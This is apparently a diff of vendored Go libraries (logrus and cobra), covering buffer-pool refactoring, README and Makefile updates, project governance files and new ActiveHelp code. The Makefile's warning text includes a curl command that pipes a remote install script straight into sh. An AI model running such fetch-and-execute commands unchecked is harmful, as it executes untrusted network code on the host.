// is not included anymore, i.e. str[from:to] is the current grapheme cluster of
// the original string "str". If Next() has not yet been called, both values are
// 0. If the iterator is already past the end, both values are 1.
func (g *Graphemes) Positions() (int, int) {
return g.indices[g.start], g.indices[g.end]
}
// Reset puts the iterator into its initial state such that the next call to
// Next() sets it to the first grapheme cluster again.
func (g *Graphemes) Reset() {
g.start, g.end, g.pos, g.state = 0, 0, 0, grAny
g.Next() // Parse ahead again.
}
// GraphemeClusterCount returns the number of user-perceived characters
// (grapheme clusters) for the given string. To calculate this number, it
// iterates through the string using the Graphemes iterator.
func GraphemeClusterCount(s string) (n int) {
g := NewGraphemes(s)
for g.Next() {
n++
}
return
}
+1658
View File
File diff suppressed because it is too large. Load diff
+2 -2
View File
@@ -1,4 +1,4 @@
# Logrus <img src="http://i.imgur.com/hTeVwmJ.png" width="40" height="40" alt=":walrus:" class="emoji" title=":walrus:"/> [![Build Status](https://travis-ci.org/sirupsen/logrus.svg?branch=master)](https://travis-ci.org/sirupsen/logrus) [![GoDoc](https://godoc.org/github.com/sirupsen/logrus?status.svg)](https://godoc.org/github.com/sirupsen/logrus)
# Logrus <img src="http://i.imgur.com/hTeVwmJ.png" width="40" height="40" alt=":walrus:" class="emoji" title=":walrus:"/> [![Build Status](https://github.com/sirupsen/logrus/workflows/CI/badge.svg)](https://github.com/sirupsen/logrus/actions?query=workflow%3ACI) [![Build Status](https://travis-ci.org/sirupsen/logrus.svg?branch=master)](https://travis-ci.org/sirupsen/logrus) [![Go Reference](https://pkg.go.dev/badge/github.com/sirupsen/logrus.svg)](https://pkg.go.dev/github.com/sirupsen/logrus)
Logrus is a structured logger for Go (golang), completely API compatible with
the standard library logger.
@@ -341,7 +341,7 @@ import (
log "github.com/sirupsen/logrus"
)
init() {
func init() {
// do something here to set environment depending on an environment variable
// or command-line flag
if Environment == "production" {
-9
View File
@@ -26,15 +26,6 @@ func (p *defaultPool) Get() *bytes.Buffer {
return p.pool.Get().(*bytes.Buffer)
}
func getBuffer() *bytes.Buffer {
return bufferPool.Get()
}
func putBuffer(buf *bytes.Buffer) {
buf.Reset()
bufferPool.Put(buf)
}
// SetBufferPool allows to replace the default logrus buffer pool
// to better meets the specific needs of an application.
func SetBufferPool(bp BufferPool) {
+16 -5
View File
@@ -232,6 +232,7 @@ func (entry *Entry) log(level Level, msg string) {
newEntry.Logger.mu.Lock()
reportCaller := newEntry.Logger.ReportCaller
bufPool := newEntry.getBufferPool()
newEntry.Logger.mu.Unlock()
if reportCaller {
@@ -239,11 +240,11 @@ func (entry *Entry) log(level Level, msg string) {
}
newEntry.fireHooks()
buffer = getBuffer()
buffer = bufPool.Get()
defer func() {
newEntry.Buffer = nil
putBuffer(buffer)
buffer.Reset()
bufPool.Put(buffer)
}()
buffer.Reset()
newEntry.Buffer = buffer
@@ -260,6 +261,13 @@ func (entry *Entry) log(level Level, msg string) {
}
}
func (entry *Entry) getBufferPool() (pool BufferPool) {
if entry.Logger.BufferPool != nil {
return entry.Logger.BufferPool
}
return bufferPool
}
func (entry *Entry) fireHooks() {
var tmpHooks LevelHooks
entry.Logger.mu.Lock()
@@ -276,18 +284,21 @@ func (entry *Entry) fireHooks() {
}
func (entry *Entry) write() {
entry.Logger.mu.Lock()
defer entry.Logger.mu.Unlock()
serialized, err := entry.Logger.Formatter.Format(entry)
if err != nil {
fmt.Fprintf(os.Stderr, "Failed to obtain reader, %v\n", err)
return
}
entry.Logger.mu.Lock()
defer entry.Logger.mu.Unlock()
if _, err := entry.Logger.Out.Write(serialized); err != nil {
fmt.Fprintf(os.Stderr, "Failed to write to log, %v\n", err)
}
}
// Log will log a message at the level given as parameter.
// Warning: using Log at Panic or Fatal level will not respectively Panic nor Exit.
// For this behaviour Entry.Panic or Entry.Fatal should be used instead.
func (entry *Entry) Log(level Level, args ...interface{}) {
if entry.Logger.IsLevelEnabled(level) {
entry.log(level, fmt.Sprint(args...))
+13
View File
@@ -44,6 +44,9 @@ type Logger struct {
entryPool sync.Pool
// Function to exit the application, defaults to `os.Exit()`
ExitFunc exitFunc
// The buffer pool used to format the log. If it is nil, the default global
// buffer pool will be used.
BufferPool BufferPool
}
type exitFunc func(int)
@@ -192,6 +195,9 @@ func (logger *Logger) Panicf(format string, args ...interface{}) {
logger.Logf(PanicLevel, format, args...)
}
// Log will log a message at the level given as parameter.
// Warning: using Log at Panic or Fatal level will not respectively Panic nor Exit.
// For this behaviour Logger.Panic or Logger.Fatal should be used instead.
func (logger *Logger) Log(level Level, args ...interface{}) {
if logger.IsLevelEnabled(level) {
entry := logger.newEntry()
@@ -402,3 +408,10 @@ func (logger *Logger) ReplaceHooks(hooks LevelHooks) LevelHooks {
logger.mu.Unlock()
return oldHooks
}
// SetBufferPool sets the logger buffer pool.
func (logger *Logger) SetBufferPool(pool BufferPool) {
logger.mu.Lock()
defer logger.mu.Unlock()
logger.BufferPool = pool
}
+48
View File
@@ -0,0 +1,48 @@
run:
deadline: 5m
linters:
disable-all: true
enable:
#- bodyclose
- deadcode
#- depguard
#- dogsled
#- dupl
- errcheck
#- exhaustive
#- funlen
- gas
#- gochecknoinits
- goconst
#- gocritic
#- gocyclo
#- gofmt
- goimports
- golint
#- gomnd
#- goprintffuncname
#- gosec
#- gosimple
- govet
- ineffassign
- interfacer
#- lll
- maligned
- megacheck
#- misspell
#- nakedret
#- noctx
#- nolintlint
#- rowserrcheck
#- scopelint
#- staticcheck
- structcheck
#- stylecheck
#- typecheck
- unconvert
#- unparam
#- unused
- varcheck
#- whitespace
fast: false
-29
View File
@@ -1,29 +0,0 @@
language: go
stages:
- diff
- test
- build
go:
- 1.12.x
- 1.13.x
- tip
before_install:
- go get -u github.com/kyoh86/richgo
- go get -u github.com/mitchellh/gox
matrix:
allow_failures:
- go: tip
include:
- stage: diff
go: 1.13.x
script: make fmt
- stage: build
go: 1.13.x
script: make cobra_generator
script:
- make test
-22
View File
@@ -1,22 +0,0 @@
# Cobra Changelog
## Pending
* Fix man page doc generation - no auto generated tag when `cmd.DisableAutoGenTag = true` @jpmcb
## v1.0.0
Announcing v1.0.0 of Cobra. 🎉
**Notable Changes**
* Fish completion (including support for Go custom completion) @marckhouzam
* API (urgent): Rename BashCompDirectives to ShellCompDirectives @marckhouzam
* Remove/replace SetOutput on Command - deprecated @jpmcb
* add support for autolabel stale PR @xchapter7x
* Add Labeler Actions @xchapter7x
* Custom completions coded in Go (instead of Bash) @marckhouzam
* Partial Revert of #922 @jharshman
* Add Makefile to project @jharshman
* Correct documentation for InOrStdin @desponda
* Apply formatting to templates @jharshman
* Revert change so help is printed on stdout again @marckhouzam
* Update md2man to v2.0.0 @pdf
* update viper to v1.4.0 @umarcor
* Update cmd/root.go example in README.md @jharshman
+37
View File
@@ -0,0 +1,37 @@
## Cobra User Contract
### Versioning
Cobra will follow a steady release cadence. Non breaking changes will be released as minor versions quarterly. Patch bug releases are at the discretion of the maintainers. Users can expect security patch fixes to be released within relatively short order of a CVE becoming known. For more information on security patch fixes see the CVE section below. Releases will follow [Semantic Versioning](https://semver.org/). Users tracking the Master branch should expect unpredictable breaking changes as the project continues to move forward. For stability, it is highly recommended to use a release.
### Backward Compatibility
We will maintain two major releases in a moving window. The N-1 release will only receive bug fixes and security updates and will be dropped once N+1 is released.
### Deprecation
Deprecation of Go versions or dependent packages will only occur in major releases. To reduce the change of this taking users by surprise, any large deprecation will be preceded by an announcement in the [#cobra slack channel](https://gophers.slack.com/archives/CD3LP1199) and an Issue on Github.
### CVE
Maintainers will make every effort to release security patches in the case of a medium to high severity CVE directly impacting the library. The speed in which these patches reach a release is up to the discretion of the maintainers. A low severity CVE may be a lower priority than a high severity one.
### Communication
Cobra maintainers will use GitHub issues and the [#cobra slack channel](https://gophers.slack.com/archives/CD3LP1199) as the primary means of communication with the community. This is to foster open communication with all users and contributors.
### Breaking Changes
Breaking changes are generally allowed in the master branch, as this is the branch used to develop the next release of Cobra.
There may be times, however, when master is closed for breaking changes. This is likely to happen as we near the release of a new version.
Breaking changes are not allowed in release branches, as these represent minor versions that have already been released. These version have consumers who expect the APIs, behaviors, etc, to remain stable during the lifetime of the patch stream for the minor release.
Examples of breaking changes include:
- Removing or renaming exported constant, variable, type, or function.
- Updating the version of critical libraries such as `spf13/pflag`, `spf13/viper` etc...
- Some version updates may be acceptable for picking up bug fixes, but maintainers must exercise caution when reviewing.
There may, at times, need to be exceptions where breaking changes are allowed in release branches. These are at the discretion of the project's maintainers, and must be carefully considered before merging.
### CI Testing
Maintainers will ensure the Cobra test suite utilizes the current supported versions of Golang.
### Disclaimer
Changes to this document and the contents therein are at the discretion of the maintainers.
None of the contents of this document are legally binding in any way to the maintainers or the users.
+13
View File
@@ -0,0 +1,13 @@
maintainers:
- spf13
- johnSchnake
- jpmcb
- marckhouzam
inactive:
- anthonyfok
- bep
- bogem
- broady
- eparis
- jharshman
- wfernandes
+11 -12
View File
@@ -1,36 +1,35 @@
BIN="./bin"
SRC=$(shell find . -name "*.go")
ifeq (, $(shell which golangci-lint))
$(warning "could not find golangci-lint in $(PATH), run: curl -sfL https://install.goreleaser.com/github.com/golangci/golangci-lint.sh | sh")
endif
ifeq (, $(shell which richgo))
$(warning "could not find richgo in $(PATH), run: go get github.com/kyoh86/richgo")
endif
.PHONY: fmt vet test cobra_generator install_deps clean
.PHONY: fmt lint test install_deps clean
default: all
all: fmt vet test cobra_generator
all: fmt test
fmt:
$(info ******************** checking formatting ********************)
@test -z $(shell gofmt -l $(SRC)) || (gofmt -d $(SRC); exit 1)
test: install_deps vet
lint:
$(info ******************** running lint tools ********************)
golangci-lint run -v
test: install_deps
$(info ******************** running tests ********************)
richgo test -v ./...
cobra_generator: install_deps
$(info ******************** building generator ********************)
mkdir -p $(BIN)
make -C cobra all
install_deps:
$(info ******************** downloading dependencies ********************)
go get -v ./...
vet:
$(info ******************** vetting ********************)
go vet ./...
clean:
rm -rf $(BIN)
+20 -675
View File
@@ -1,52 +1,26 @@
![cobra logo](https://cloud.githubusercontent.com/assets/173412/10886352/ad566232-814f-11e5-9cd0-aa101788c117.png)
Cobra is both a library for creating powerful modern CLI applications as well as a program to generate applications and command files.
Cobra is a library for creating powerful modern CLI applications.
Cobra is used in many Go projects such as [Kubernetes](http://kubernetes.io/),
Cobra is used in many Go projects such as [Kubernetes](https://kubernetes.io/),
[Hugo](https://gohugo.io), and [Github CLI](https://github.com/cli/cli) to
name a few. [This list](./projects_using_cobra.md) contains a more extensive list of projects using Cobra.
[![Build Status](https://travis-ci.org/spf13/cobra.svg "Travis CI status")](https://travis-ci.org/spf13/cobra)
[![GoDoc](https://godoc.org/github.com/spf13/cobra?status.svg)](https://godoc.org/github.com/spf13/cobra)
[![](https://img.shields.io/github/workflow/status/spf13/cobra/Test?longCache=tru&label=Test&logo=github%20actions&logoColor=fff)](https://github.com/spf13/cobra/actions?query=workflow%3ATest)
[![Go Reference](https://pkg.go.dev/badge/github.com/spf13/cobra.svg)](https://pkg.go.dev/github.com/spf13/cobra)
[![Go Report Card](https://goreportcard.com/badge/github.com/spf13/cobra)](https://goreportcard.com/report/github.com/spf13/cobra)
[![Slack](https://img.shields.io/badge/Slack-cobra-brightgreen)](https://gophers.slack.com/archives/CD3LP1199)
# Table of Contents
- [Overview](#overview)
- [Concepts](#concepts)
* [Commands](#commands)
* [Flags](#flags)
- [Installing](#installing)
- [Getting Started](#getting-started)
* [Using the Cobra Generator](#using-the-cobra-generator)
* [Using the Cobra Library](#using-the-cobra-library)
* [Working with Flags](#working-with-flags)
* [Positional and Custom Arguments](#positional-and-custom-arguments)
* [Example](#example)
* [Help Command](#help-command)
* [Usage Message](#usage-message)
* [PreRun and PostRun Hooks](#prerun-and-postrun-hooks)
* [Suggestions when "unknown command" happens](#suggestions-when-unknown-command-happens)
* [Generating documentation for your command](#generating-documentation-for-your-command)
* [Generating shell completions](#generating-shell-completions)
- [Contributing](CONTRIBUTING.md)
- [License](#license)
# Overview
Cobra is a library providing a simple interface to create powerful modern CLI
interfaces similar to git & go tools.
Cobra is also an application that will generate your application scaffolding to rapidly
develop a Cobra-based application.
Cobra provides:
* Easy subcommand-based CLIs: `app server`, `app fetch`, etc.
* Fully POSIX-compliant flags (including short & long versions)
* Nested subcommands
* Global, local and cascading flags
* Easy generation of applications & commands with `cobra init appname` & `cobra add cmdname`
* Intelligent suggestions (`app srver`... did you mean `app server`?)
* Automatic help generation for commands and flags
* Automatic help flag recognition of `-h`, `--help`, etc.
@@ -54,7 +28,7 @@ Cobra provides:
* Automatically generated man pages for your application
* Command aliases so you can change things without breaking them
* The flexibility to define your own help, usage, etc.
* Optional tight integration with [viper](http://github.com/spf13/viper) for 12-factor apps
* Optional seamless integration with [viper](https://github.com/spf13/viper) for 12-factor apps
# Concepts
@@ -62,8 +36,8 @@ Cobra is built on a structure of commands, arguments & flags.
**Commands** represent actions, **Args** are things and **Flags** are modifiers for those actions.
The best applications will read like sentences when used. Users will know how
to use the application because they will natively understand how to use it.
The best applications read like sentences when used, and as a result, users
intuitively know how to interact with them.
The pattern to follow is
`APPNAME VERB NOUN --ADJECTIVE.`
@@ -88,7 +62,7 @@ have children commands and optionally run an action.
In the example above, 'server' is the command.
[More about cobra.Command](https://godoc.org/github.com/spf13/cobra#Command)
[More about cobra.Command](https://pkg.go.dev/github.com/spf13/cobra#Command)
## Flags
@@ -105,10 +79,11 @@ which maintains the same interface while adding POSIX compliance.
# Installing
Using Cobra is easy. First, use `go get` to install the latest version
of the library. This command will install the `cobra` generator executable
along with the library and its dependencies:
of the library.
go get -u github.com/spf13/cobra
```
go get -u github.com/spf13/cobra@latest
```
Next, include Cobra in your application:
@@ -116,650 +91,20 @@ Next, include Cobra in your application:
import "github.com/spf13/cobra"
```
# Getting Started
# Usage
`cobra-cli` is a command line program to generate cobra applications and command files.
It will bootstrap your application scaffolding to rapidly
develop a Cobra-based application. It is the easiest way to incorporate Cobra into your application.
While you are welcome to provide your own organization, typically a Cobra-based
application will follow the following organizational structure:
It can be installed by running:
```
▾ appName/
▾ cmd/
add.go
your.go
commands.go
here.go
main.go
go install github.com/spf13/cobra-cli@latest
```
In a Cobra app, typically the main.go file is very bare. It serves one purpose: initializing Cobra.
For complete details on using the Cobra-CLI generator, please read [The Cobra Generator README](https://github.com/spf13/cobra-cli/blob/main/README.md)
```go
package main
import (
"{pathToYourApp}/cmd"
)
func main() {
cmd.Execute()
}
```
## Using the Cobra Generator
Cobra provides its own program that will create your application and add any
commands you want. It's the easiest way to incorporate Cobra into your application.
[Here](https://github.com/spf13/cobra/blob/master/cobra/README.md) you can find more information about it.
## Using the Cobra Library
To manually implement Cobra you need to create a bare main.go file and a rootCmd file.
You will optionally provide additional commands as you see fit.
### Create rootCmd
Cobra doesn't require any special constructors. Simply create your commands.
Ideally you place this in app/cmd/root.go:
```go
var rootCmd = &cobra.Command{
Use: "hugo",
Short: "Hugo is a very fast static site generator",
Long: `A Fast and Flexible Static Site Generator built with
love by spf13 and friends in Go.
Complete documentation is available at http://hugo.spf13.com`,
Run: func(cmd *cobra.Command, args []string) {
// Do Stuff Here
},
}
func Execute() {
if err := rootCmd.Execute(); err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
```
You will additionally define flags and handle configuration in your init() function.
For example cmd/root.go:
```go
package cmd
import (
"fmt"
"os"
homedir "github.com/mitchellh/go-homedir"
"github.com/spf13/cobra"
"github.com/spf13/viper"
)
var (
// Used for flags.
cfgFile string
userLicense string
rootCmd = &cobra.Command{
Use: "cobra",
Short: "A generator for Cobra based Applications",
Long: `Cobra is a CLI library for Go that empowers applications.
This application is a tool to generate the needed files
to quickly create a Cobra application.`,
}
)
// Execute executes the root command.
func Execute() error {
return rootCmd.Execute()
}
func init() {
cobra.OnInitialize(initConfig)
rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.cobra.yaml)")
rootCmd.PersistentFlags().StringP("author", "a", "YOUR NAME", "author name for copyright attribution")
rootCmd.PersistentFlags().StringVarP(&userLicense, "license", "l", "", "name of license for the project")
rootCmd.PersistentFlags().Bool("viper", true, "use Viper for configuration")
viper.BindPFlag("author", rootCmd.PersistentFlags().Lookup("author"))
viper.BindPFlag("useViper", rootCmd.PersistentFlags().Lookup("viper"))
viper.SetDefault("author", "NAME HERE <EMAIL ADDRESS>")
viper.SetDefault("license", "apache")
rootCmd.AddCommand(addCmd)
rootCmd.AddCommand(initCmd)
}
func er(msg interface{}) {
fmt.Println("Error:", msg)
os.Exit(1)
}
func initConfig() {
if cfgFile != "" {
// Use config file from the flag.
viper.SetConfigFile(cfgFile)
} else {
// Find home directory.
home, err := homedir.Dir()
if err != nil {
er(err)
}
// Search config in home directory with name ".cobra" (without extension).
viper.AddConfigPath(home)
viper.SetConfigName(".cobra")
}
viper.AutomaticEnv()
if err := viper.ReadInConfig(); err == nil {
fmt.Println("Using config file:", viper.ConfigFileUsed())
}
}
```
### Create your main.go
With the root command you need to have your main function execute it.
Execute should be run on the root for clarity, though it can be called on any command.
In a Cobra app, typically the main.go file is very bare. It serves, one purpose, to initialize Cobra.
```go
package main
import (
"{pathToYourApp}/cmd"
)
func main() {
cmd.Execute()
}
```
### Create additional commands
Additional commands can be defined and typically are each given their own file
inside of the cmd/ directory.
If you wanted to create a version command you would create cmd/version.go and
populate it with the following:
```go
package cmd
import (
"fmt"
"github.com/spf13/cobra"
)
func init() {
rootCmd.AddCommand(versionCmd)
}
var versionCmd = &cobra.Command{
Use: "version",
Short: "Print the version number of Hugo",
Long: `All software has versions. This is Hugo's`,
Run: func(cmd *cobra.Command, args []string) {
fmt.Println("Hugo Static Site Generator v0.9 -- HEAD")
},
}
```
### Returning and handling errors
If you wish to return an error to the caller of a command, `RunE` can be used.
```go
package cmd
import (
"fmt"
"github.com/spf13/cobra"
)
func init() {
rootCmd.AddCommand(tryCmd)
}
var tryCmd = &cobra.Command{
Use: "try",
Short: "Try and possibly fail at something",
RunE: func(cmd *cobra.Command, args []string) error {
if err := someFunc(); err != nil {
return err
}
return nil
},
}
```
The error can then be caught at the execute function call.
## Working with Flags
Flags provide modifiers to control how the action command operates.
### Assign flags to a command
Since the flags are defined and used in different locations, we need to
define a variable outside with the correct scope to assign the flag to
work with.
```go
var Verbose bool
var Source string
```
There are two different approaches to assign a flag.
### Persistent Flags
A flag can be 'persistent' meaning that this flag will be available to the
command it's assigned to as well as every command under that command. For
global flags, assign a flag as a persistent flag on the root.
```go
rootCmd.PersistentFlags().BoolVarP(&Verbose, "verbose", "v", false, "verbose output")
```
### Local Flags
A flag can also be assigned locally which will only apply to that specific command.
```go
localCmd.Flags().StringVarP(&Source, "source", "s", "", "Source directory to read from")
```
### Local Flag on Parent Commands
By default Cobra only parses local flags on the target command, any local flags on
parent commands are ignored. By enabling `Command.TraverseChildren` Cobra will
parse local flags on each command before executing the target command.
```go
command := cobra.Command{
Use: "print [OPTIONS] [COMMANDS]",
TraverseChildren: true,
}
```
### Bind Flags with Config
You can also bind your flags with [viper](https://github.com/spf13/viper):
```go
var author string
func init() {
rootCmd.PersistentFlags().StringVar(&author, "author", "YOUR NAME", "Author name for copyright attribution")
viper.BindPFlag("author", rootCmd.PersistentFlags().Lookup("author"))
}
```
In this example the persistent flag `author` is bound with `viper`.
**Note**, that the variable `author` will not be set to the value from config,
when the `--author` flag is not provided by user.
More in [viper documentation](https://github.com/spf13/viper#working-with-flags).
### Required flags
Flags are optional by default. If instead you wish your command to report an error
when a flag has not been set, mark it as required:
```go
rootCmd.Flags().StringVarP(&Region, "region", "r", "", "AWS region (required)")
rootCmd.MarkFlagRequired("region")
```
Or, for persistent flags:
```go
rootCmd.PersistentFlags().StringVarP(&Region, "region", "r", "", "AWS region (required)")
rootCmd.MarkPersistentFlagRequired("region")
```
## Positional and Custom Arguments
Validation of positional arguments can be specified using the `Args` field
of `Command`.
The following validators are built in:
- `NoArgs` - the command will report an error if there are any positional args.
- `ArbitraryArgs` - the command will accept any args.
- `OnlyValidArgs` - the command will report an error if there are any positional args that are not in the `ValidArgs` field of `Command`.
- `MinimumNArgs(int)` - the command will report an error if there are not at least N positional args.
- `MaximumNArgs(int)` - the command will report an error if there are more than N positional args.
- `ExactArgs(int)` - the command will report an error if there are not exactly N positional args.
- `ExactValidArgs(int)` - the command will report an error if there are not exactly N positional args OR if there are any positional args that are not in the `ValidArgs` field of `Command`
- `RangeArgs(min, max)` - the command will report an error if the number of args is not between the minimum and maximum number of expected args.
An example of setting the custom validator:
```go
var cmd = &cobra.Command{
Short: "hello",
Args: func(cmd *cobra.Command, args []string) error {
if len(args) < 1 {
return errors.New("requires a color argument")
}
if myapp.IsValidColor(args[0]) {
return nil
}
return fmt.Errorf("invalid color specified: %s", args[0])
},
Run: func(cmd *cobra.Command, args []string) {
fmt.Println("Hello, World!")
},
}
```
## Example
In the example below, we have defined three commands. Two are at the top level
and one (cmdTimes) is a child of one of the top commands. In this case the root
is not executable meaning that a subcommand is required. This is accomplished
by not providing a 'Run' for the 'rootCmd'.
We have only defined one flag for a single command.
More documentation about flags is available at https://github.com/spf13/pflag
```go
package main
import (
"fmt"
"strings"
"github.com/spf13/cobra"
)
func main() {
var echoTimes int
var cmdPrint = &cobra.Command{
Use: "print [string to print]",
Short: "Print anything to the screen",
Long: `print is for printing anything back to the screen.
For many years people have printed back to the screen.`,
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
fmt.Println("Print: " + strings.Join(args, " "))
},
}
var cmdEcho = &cobra.Command{
Use: "echo [string to echo]",
Short: "Echo anything to the screen",
Long: `echo is for echoing anything back.
Echo works a lot like print, except it has a child command.`,
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
fmt.Println("Echo: " + strings.Join(args, " "))
},
}
var cmdTimes = &cobra.Command{
Use: "times [string to echo]",
Short: "Echo anything to the screen more times",
Long: `echo things multiple times back to the user by providing
a count and a string.`,
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
for i := 0; i < echoTimes; i++ {
fmt.Println("Echo: " + strings.Join(args, " "))
}
},
}
cmdTimes.Flags().IntVarP(&echoTimes, "times", "t", 1, "times to echo the input")
var rootCmd = &cobra.Command{Use: "app"}
rootCmd.AddCommand(cmdPrint, cmdEcho)
cmdEcho.AddCommand(cmdTimes)
rootCmd.Execute()
}
```
For a more complete example of a larger application, please checkout [Hugo](http://gohugo.io/).
## Help Command
Cobra automatically adds a help command to your application when you have subcommands.
This will be called when a user runs 'app help'. Additionally, help will also
support all other commands as input. Say, for instance, you have a command called
'create' without any additional configuration; Cobra will work when 'app help
create' is called. Every command will automatically have the '--help' flag added.
### Example
The following output is automatically generated by Cobra. Nothing beyond the
command and flag definitions are needed.
$ cobra help
Cobra is a CLI library for Go that empowers applications.
This application is a tool to generate the needed files
to quickly create a Cobra application.
Usage:
cobra [command]
Available Commands:
add Add a command to a Cobra Application
help Help about any command
init Initialize a Cobra Application
Flags:
-a, --author string author name for copyright attribution (default "YOUR NAME")
--config string config file (default is $HOME/.cobra.yaml)
-h, --help help for cobra
-l, --license string name of license for the project
--viper use Viper for configuration (default true)
Use "cobra [command] --help" for more information about a command.
Help is just a command like any other. There is no special logic or behavior
around it. In fact, you can provide your own if you want.
### Defining your own help
You can provide your own Help command or your own template for the default command to use
with following functions:
```go
cmd.SetHelpCommand(cmd *Command)
cmd.SetHelpFunc(f func(*Command, []string))
cmd.SetHelpTemplate(s string)
```
The latter two will also apply to any children commands.
## Usage Message
When the user provides an invalid flag or invalid command, Cobra responds by
showing the user the 'usage'.
### Example
You may recognize this from the help above. That's because the default help
embeds the usage as part of its output.
$ cobra --invalid
Error: unknown flag: --invalid
Usage:
cobra [command]
Available Commands:
add Add a command to a Cobra Application
help Help about any command
init Initialize a Cobra Application
Flags:
-a, --author string author name for copyright attribution (default "YOUR NAME")
--config string config file (default is $HOME/.cobra.yaml)
-h, --help help for cobra
-l, --license string name of license for the project
--viper use Viper for configuration (default true)
Use "cobra [command] --help" for more information about a command.
### Defining your own usage
You can provide your own usage function or template for Cobra to use.
Like help, the function and template are overridable through public methods:
```go
cmd.SetUsageFunc(f func(*Command) error)
cmd.SetUsageTemplate(s string)
```
## Version Flag
Cobra adds a top-level '--version' flag if the Version field is set on the root command.
Running an application with the '--version' flag will print the version to stdout using
the version template. The template can be customized using the
`cmd.SetVersionTemplate(s string)` function.
## PreRun and PostRun Hooks
It is possible to run functions before or after the main `Run` function of your command. The `PersistentPreRun` and `PreRun` functions will be executed before `Run`. `PersistentPostRun` and `PostRun` will be executed after `Run`. The `Persistent*Run` functions will be inherited by children if they do not declare their own. These functions are run in the following order:
- `PersistentPreRun`
- `PreRun`
- `Run`
- `PostRun`
- `PersistentPostRun`
An example of two commands which use all of these features is below. When the subcommand is executed, it will run the root command's `PersistentPreRun` but not the root command's `PersistentPostRun`:
```go
package main
import (
"fmt"
"github.com/spf13/cobra"
)
func main() {
var rootCmd = &cobra.Command{
Use: "root [sub]",
Short: "My root command",
PersistentPreRun: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside rootCmd PersistentPreRun with args: %v\n", args)
},
PreRun: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside rootCmd PreRun with args: %v\n", args)
},
Run: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside rootCmd Run with args: %v\n", args)
},
PostRun: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside rootCmd PostRun with args: %v\n", args)
},
PersistentPostRun: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside rootCmd PersistentPostRun with args: %v\n", args)
},
}
var subCmd = &cobra.Command{
Use: "sub [no options!]",
Short: "My subcommand",
PreRun: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside subCmd PreRun with args: %v\n", args)
},
Run: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside subCmd Run with args: %v\n", args)
},
PostRun: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside subCmd PostRun with args: %v\n", args)
},
PersistentPostRun: func(cmd *cobra.Command, args []string) {
fmt.Printf("Inside subCmd PersistentPostRun with args: %v\n", args)
},
}
rootCmd.AddCommand(subCmd)
rootCmd.SetArgs([]string{""})
rootCmd.Execute()
fmt.Println()
rootCmd.SetArgs([]string{"sub", "arg1", "arg2"})
rootCmd.Execute()
}
```
Output:
```
Inside rootCmd PersistentPreRun with args: []
Inside rootCmd PreRun with args: []
Inside rootCmd Run with args: []
Inside rootCmd PostRun with args: []
Inside rootCmd PersistentPostRun with args: []
Inside rootCmd PersistentPreRun with args: [arg1 arg2]
Inside subCmd PreRun with args: [arg1 arg2]
Inside subCmd Run with args: [arg1 arg2]
Inside subCmd PostRun with args: [arg1 arg2]
Inside subCmd PersistentPostRun with args: [arg1 arg2]
```
## Suggestions when "unknown command" happens
Cobra will print automatic suggestions when "unknown command" errors happen. This allows Cobra to behave similarly to the `git` command when a typo happens. For example:
```
$ hugo srever
Error: unknown command "srever" for "hugo"
Did you mean this?
server
Run 'hugo --help' for usage.
```
Suggestions are automatic based on every subcommand registered and use an implementation of [Levenshtein distance](http://en.wikipedia.org/wiki/Levenshtein_distance). Every registered command that matches a minimum distance of 2 (ignoring case) will be displayed as a suggestion.
If you need to disable suggestions or tweak the string distance in your command, use:
```go
command.DisableSuggestions = true
```
or
```go
command.SuggestionsMinimumDistance = 1
```
You can also explicitly set names for which a given command will be suggested using the `SuggestFor` attribute. This allows suggestions for strings that are not close in terms of string distance, but makes sense in your set of commands and for some which you don't want aliases. Example:
```
$ kubectl remove
Error: unknown command "remove" for "kubectl"
Did you mean this?
delete
Run 'kubectl help' for usage.
```
## Generating documentation for your command
Cobra can generate documentation based on subcommands, flags, etc. Read more about it in the [docs generation documentation](doc/README.md).
## Generating shell completions
Cobra can generate a shell-completion file for the following shells: Bash, Zsh, Fish, Powershell. If you add more information to your commands, these completions can be amazingly powerful and flexible. Read more about it in [Shell Completions](shell_completions.md).
For complete details on using the Cobra library, please read the [The Cobra User Guide](user_guide.md).
# License
+49
View File
@@ -0,0 +1,49 @@
package cobra
import (
"fmt"
"os"
"strings"
)
const (
activeHelpMarker = "_activeHelp_ "
// The below values should not be changed: programs will be using them explicitly
// in their user documentation, and users will be using them explicitly.
activeHelpEnvVarSuffix = "_ACTIVE_HELP"
activeHelpGlobalEnvVar = "COBRA_ACTIVE_HELP"
activeHelpGlobalDisable = "0"
)
// AppendActiveHelp adds the specified string to the specified array to be used as ActiveHelp.
// Such strings will be processed by the completion script and will be shown as ActiveHelp
// to the user.
// The array parameter should be the array that will contain the completions.
// This function can be called multiple times before and/or after completions are added to
// the array. Each time this function is called with the same array, the new
// ActiveHelp line will be shown below the previous ones when completion is triggered.
func AppendActiveHelp(compArray []string, activeHelpStr string) []string {
return append(compArray, fmt.Sprintf("%s%s", activeHelpMarker, activeHelpStr))
}
// GetActiveHelpConfig returns the value of the ActiveHelp environment variable
// <PROGRAM>_ACTIVE_HELP where <PROGRAM> is the name of the root command in upper
// case, with all - replaced by _.
// It will always return "0" if the global environment variable COBRA_ACTIVE_HELP
// is set to "0".
func GetActiveHelpConfig(cmd *Command) string {
activeHelpCfg := os.Getenv(activeHelpGlobalEnvVar)
if activeHelpCfg != activeHelpGlobalDisable {
activeHelpCfg = os.Getenv(activeHelpEnvVar(cmd.Root().Name()))
}
return activeHelpCfg
}
// activeHelpEnvVar returns the name of the program-specific ActiveHelp environment
// variable. It has the format <PROGRAM>_ACTIVE_HELP where <PROGRAM> is the name of the
// root command in upper case, with all - replaced by _.
func activeHelpEnvVar(name string) string {
// This format should not be changed: users will be using it explicitly.
activeHelpEnvVar := strings.ToUpper(fmt.Sprintf("%s%s", name, activeHelpEnvVarSuffix))
